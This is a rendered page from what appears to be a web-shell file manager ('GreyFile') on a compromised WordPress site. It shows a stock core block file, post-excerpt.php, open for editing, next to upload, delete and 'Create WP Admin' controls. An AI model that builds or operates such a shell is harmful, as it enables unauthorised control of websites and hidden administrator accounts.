?? GreyFile — Mystic File Browser
Current path:
home
/
webdevt
/
www
/
wdp
/
wp-includes
/
blocks
/
?? Create WP Admin
??
Go up: /home/webdevt/www/wdp/wp-includes
?? Editing: post-excerpt.php
<?php /** * Server-side rendering of the `core/post-excerpt` block. * * @package WordPress */ /** * Renders the `core/post-excerpt` block on the server. * * @since 5.8.0 * * @param array $attributes Block attributes. * @param string $content Block default content. * @param WP_Block $block Block instance. * @return string Returns the filtered post excerpt for the current post wrapped inside "p" tags. */ function render_block_core_post_excerpt( $attributes, $content, $block ) { if ( ! isset( $block->context['postId'] ) ) { return ''; } /* * The purpose of the excerpt length setting is to limit the length of both * automatically generated and user-created excerpts. * Because the excerpt_length filter only applies to auto generated excerpts, * wp_trim_words is used instead. */ $excerpt_length = $attributes['excerptLength']; $excerpt = get_the_excerpt( $block->context['postId'] ); if ( isset( $excerpt_length ) ) { $excerpt = wp_trim_words( $excerpt, $excerpt_length ); } $more_text = ! empty( $attributes['moreText'] ) ? '<a class="wp-block-post-excerpt__more-link" href="' . esc_url( get_the_permalink( $block->context['postId'] ) ) . '">' . wp_kses_post( $attributes['moreText'] ) . '</a>' : ''; $filter_excerpt_more = static function ( $more ) use ( $more_text ) { return empty( $more_text ) ? $more : ''; }; /** * Some themes might use `excerpt_more` filter to handle the * `more` link displayed after a trimmed excerpt. Since the * block has a `more text` attribute we have to check and * override if needed the return value from this filter. * So if the block's attribute is not empty override the * `excerpt_more` filter and return nothing. This will * result in showing only one `read more` link at a time. */ add_filter( 'excerpt_more', $filter_excerpt_more ); $classes = array(); if ( isset( $attributes['textAlign'] ) ) { $classes[] = 'has-text-align-' . $attributes['textAlign']; } if ( isset( $attributes['style']['elements']['link']['color']['text'] ) ) { $classes[] = 'has-link-color'; } $wrapper_attributes = get_block_wrapper_attributes( array( 'class' => implode( ' ', $classes ) ) ); $content = '<p class="wp-block-post-excerpt__excerpt">' . $excerpt; $show_more_on_new_line = ! isset( $attributes['showMoreOnNewLine'] ) || $attributes['showMoreOnNewLine']; if ( $show_more_on_new_line && ! empty( $more_text ) ) { $content .= '</p><p class="wp-block-post-excerpt__more-text">' . $more_text . '</p>'; } else { $content .= " $more_text</p>"; } remove_filter( 'excerpt_more', $filter_excerpt_more ); return sprintf( '<div %1$s>%2$s</div>', $wrapper_attributes, $content ); } /** * Registers the `core/post-excerpt` block on the server. * * @since 5.8.0 */ function register_block_core_post_excerpt() { register_block_type_from_metadata( __DIR__ . '/post-excerpt', array( 'render_callback' => 'render_block_core_post_excerpt', ) ); } add_action( 'init', 'register_block_core_post_excerpt' ); /** * If themes or plugins filter the excerpt_length, we need to * override the filter in the editor, otherwise * the excerpt length block setting has no effect. * Returns 100 because 100 is the max length in the setting. */ if ( is_admin() || defined( 'REST_REQUEST' ) && REST_REQUEST ) { add_filter( 'excerpt_length', static function () { return 100; }, PHP_INT_MAX ); }
Save
Upload
??
Create Folder
??
Create File
??
archives
|
??? Delete
??
audio
|
??? Delete
??
avatar
|
??? Delete
??
block
|
??? Delete
??
button
|
??? Delete
??
buttons
|
??? Delete
??
calendar
|
??? Delete
??
categories
|
??? Delete
??
code
|
??? Delete
??
column
|
??? Delete
??
columns
|
??? Delete
??
comment-author-name
|
??? Delete
??
comment-content
|
??? Delete
??
comment-date
|
??? Delete
??
comment-edit-link
|
??? Delete
??
comment-reply-link
|
??? Delete
??
comment-template
|
??? Delete
??
comments
|
??? Delete
??
comments-pagination
|
??? Delete
??
comments-pagination-next
|
??? Delete
??
comments-pagination-numbers
|
??? Delete
??
comments-pagination-previous
|
??? Delete
??
comments-title
|
??? Delete
??
cover
|
??? Delete
??
details
|
??? Delete
??
embed
|
??? Delete
??
file
|
??? Delete
??
footnotes
|
??? Delete
??
freeform
|
??? Delete
??
gallery
|
??? Delete
??
group
|
??? Delete
??
heading
|
??? Delete
??
home-link
|
??? Delete
??
html
|
??? Delete
??
image
|
??? Delete
??
latest-comments
|
??? Delete
??
latest-posts
|
??? Delete
??
legacy-widget
|
??? Delete
??
list
|
??? Delete
??
list-item
|
??? Delete
??
loginout
|
??? Delete
??
media-text
|
??? Delete
??
missing
|
??? Delete
??
more
|
??? Delete
??
navigation
|
??? Delete
??
navigation-link
|
??? Delete
??
navigation-submenu
|
??? Delete
??
nextpage
|
??? Delete
??
page-list
|
??? Delete
??
page-list-item
|
??? Delete
??
paragraph
|
??? Delete
??
pattern
|
??? Delete
??
post-author
|
??? Delete
??
post-author-biography
|
??? Delete
??
post-author-name
|
??? Delete
??
post-comments-form
|
??? Delete
??
post-content
|
??? Delete
??
post-date
|
??? Delete
??
post-excerpt
|
??? Delete
??
post-featured-image
|
??? Delete
??
post-navigation-link
|
??? Delete
??
post-template
|
??? Delete
??
post-terms
|
??? Delete
??
post-title
|
??? Delete
??
preformatted
|
??? Delete
??
pullquote
|
??? Delete
??
query
|
??? Delete
??
query-no-results
|
??? Delete
??
query-pagination
|
??? Delete
??
query-pagination-next
|
??? Delete
??
query-pagination-numbers
|
??? Delete
??
query-pagination-previous
|
??? Delete
??
query-title
|
??? Delete
??
query-total
|
??? Delete
??
quote
|
??? Delete
??
read-more
|
??? Delete
??
rss
|
??? Delete
??
search
|
??? Delete
??
separator
|
??? Delete
??
shortcode
|
??? Delete
??
site-logo
|
??? Delete
??
site-tagline
|
??? Delete
??
site-title
|
??? Delete
??
social-link
|
??? Delete
??
social-links
|
??? Delete
??
spacer
|
??? Delete
??
table
|
??? Delete
??
tag-cloud
|
??? Delete
??
template-part
|
??? Delete
??
term-description
|
??? Delete
??
text-columns
|
??? Delete
??
verse
|
??? Delete
??
video
|
??? Delete
??
widget-group
|
??? Delete
??
.DS_Store
|
?? Edit
|
??? Delete
??
archives.php
|
?? Edit
|
??? Delete
??
avatar.php
|
?? Edit
|
??? Delete
??
block.php
|
?? Edit
|
??? Delete
??
blocks-json.php
|
?? Edit
|
??? Delete
??
button.php
|
?? Edit
|
??? Delete
??
calendar.php
|
?? Edit
|
??? Delete
??
categories.php
|
?? Edit
|
??? Delete
??
comment-author-name.php
|
?? Edit
|
??? Delete
??
comment-content.php
|
?? Edit
|
??? Delete
??
comment-date.php
|
?? Edit
|
??? Delete
??
comment-edit-link.php
|
?? Edit
|
??? Delete
??
comment-reply-link.php
|
?? Edit
|
??? Delete
??
comment-template.php
|
?? Edit
|
??? Delete
??
comments-pagination-next.php
|
?? Edit
|
??? Delete
??
comments-pagination-numbers.php
|
?? Edit
|
??? Delete
??
comments-pagination-previous.php
|
?? Edit
|
??? Delete
??
comments-pagination.php
|
?? Edit
|
??? Delete
??
comments.php
|
?? Edit
|
??? Delete
??
cover.php
|
?? Edit
|
??? Delete
??
file.php
|
?? Edit
|
??? Delete
??
footnotes.php
|
?? Edit
|
??? Delete
??
gallery.php
|
?? Edit
|
??? Delete
??
heading.php
|
?? Edit
|
??? Delete
??
home-link.php
|
?? Edit
|
??? Delete
??
image.php
|
?? Edit
|
??? Delete
??
index.php
|
?? Edit
|
??? Delete
??
latest-comments.php
|
?? Edit
|
??? Delete
??
latest-posts.php
|
?? Edit
|
??? Delete
??
legacy-widget.php
|
?? Edit
|
??? Delete
??
list.php
|
?? Edit
|
??? Delete
??
loginout.php
|
?? Edit
|
??? Delete
??
media-text.php
|
?? Edit
|
??? Delete
??
navigation-link.php
|
?? Edit
|
??? Delete
??
navigation-submenu.php
|
?? Edit
|
??? Delete
??
navigation.php
|
?? Edit
|
??? Delete
??
page-list-item.php
|
?? Edit
|
??? Delete
??
page-list.php
|
?? Edit
|
??? Delete
??
pattern.php
|
?? Edit
|
??? Delete
??
post-author-biography.php
|
?? Edit
|
??? Delete
??
post-author-name.php
|
?? Edit
|
??? Delete
??
post-author.php
|
?? Edit
|
??? Delete
??
post-comments-form.php
|
?? Edit
|
??? Delete
??
post-content.php
|
?? Edit
|
??? Delete
??
post-date.php
|
?? Edit
|
??? Delete
??
post-excerpt.php
|
?? Edit
|
??? Delete
??
post-featured-image.php
|
?? Edit
|
??? Delete
??
post-navigation-link.php
|
?? Edit
|
??? Delete
??
post-template.php
|
?? Edit
|
??? Delete
??
post-terms.php
|
?? Edit
|
??? Delete
??
post-title.php
|
?? Edit
|
??? Delete
??
query-no-results.php
|
?? Edit
|
??? Delete
??
query-pagination-next.php
|
?? Edit
|
??? Delete
??
query-pagination-numbers.php
|
?? Edit
|
??? Delete
??
query-pagination-previous.php
|
?? Edit
|
??? Delete
??
query-pagination.php
|
?? Edit
|
??? Delete
??
query-title.php
|
?? Edit
|
??? Delete
??
query-total.php
|
?? Edit
|
??? Delete
??
query.php
|
?? Edit
|
??? Delete
??
read-more.php
|
?? Edit
|
??? Delete
??
require-dynamic-blocks.php
|
?? Edit
|
??? Delete
??
require-static-blocks.php
|
?? Edit
|
??? Delete
??
search.php
|
?? Edit
|
??? Delete
??
shortcode.php
|
?? Edit
|
??? Delete
??
site-logo.php
|
?? Edit
|
??? Delete
??
site-tagline.php
|
?? Edit
|
??? Delete
??
site-title.php
|
?? Edit
|
??? Delete
??
social-link.php
|
?? Edit
|
??? Delete
??
tag-cloud.php
|
?? Edit
|
??? Delete
??
template-part.php
|
?? Edit
|
??? Delete
??
term-description.php
|
?? Edit
|
??? Delete
??
widget-group.php
|
?? Edit
|
??? Delete